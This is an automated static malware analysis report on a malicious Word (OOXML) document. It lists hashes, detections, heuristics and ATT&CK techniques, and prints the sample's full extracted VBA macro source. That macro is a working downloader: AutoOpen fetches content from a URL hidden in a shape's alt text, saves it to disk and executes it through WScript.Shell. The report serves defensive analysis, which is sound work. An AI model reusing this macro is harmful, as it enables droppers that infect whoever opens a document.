Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a31a51e3cb4d5a42…

MALICIOUS

Office (OOXML)

111.2 KB Created: 2020-08-10 09:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 2e970f0e29dfbff96d51aadbc00f4bee SHA-1: 567ba6766dc4723bdd686b4a8f33756dec379085 SHA-256: a31a51e3cb4d5a4294b2f5abef95f4a3b18271bb264be6b3ca4e2560a0bcfe50
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro AutoOpen() is triggered upon opening the document. It uses WScript.Shell and CreateObject to download content from a URL, reconstructs it, and saves it to 'c:\programdata\preview.jpeg'. The script then attempts to execute this downloaded file using a shell command. This indicates a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-9762344-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9762344-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ff37a4eb(efdbb57b)
Set bebeae65 = CreateObject("wscript.shell")
Call bebeae65.exec(efdbb57b)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "eaa2ab34"
Sub AutoOpen()
Dim f977fbf4 As New f5cfecd8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1645 bytes
SHA-256: eb222bc4e79f2652dc98732f3fdea8fef4be13590159b96ae4ba025351317f11
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "eaa2ab34"
Sub AutoOpen()
Dim f977fbf4 As New f5cfecd8
Dim a54b1397 As String
a54b1397 = ActiveDocument.Shapes(1).AlternativeText
aca490dd = f977fbf4.f193999a(a54b1397)
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile(e4b1b4b6)
oFile.WriteLine c347ffcf(aca490dd)
oFile.Close
f977fbf4.ff37a4eb cdca172b
End Sub

Attribute VB_Name = "e578d659"
Function e4b1b4b6()
e4b1b4b6 = "c:\programdata\preview.jpeg"
End Function
Sub c5616e8b()
End Sub
Function c347ffcf(d3bfab6f)
c347ffcf = StrConv(d3bfab6f, 64)
End Function
Function cdca172b()
cdca172b = ActiveDocument.Shapes(1).Title + " " + e4b1b4b6
End Function

Attribute VB_Name = "f5cfecd8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function f193999a(a1d7894d)
Dim dc8ca221 As Object
Set dc8ca221 = New MSXML2.XMLHTTP60
dc8ca221.Open "GET", a1d7894d, False
dc8ca221.Send
'
With dc8ca221
f193999a = .responsebody
End With
End Function
Function ff37a4eb(efdbb57b)
Set bebeae65 = CreateObject("wscript.shell")
Call bebeae65.exec(efdbb57b)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 44ada807d8f720fc9c9563051d53c9a2625fe77ada14a1b0e9e816e9c83378c9
Detection
ClamAV: Doc.Malware.Generic-9762344-0
Obfuscation or payload: unlikely

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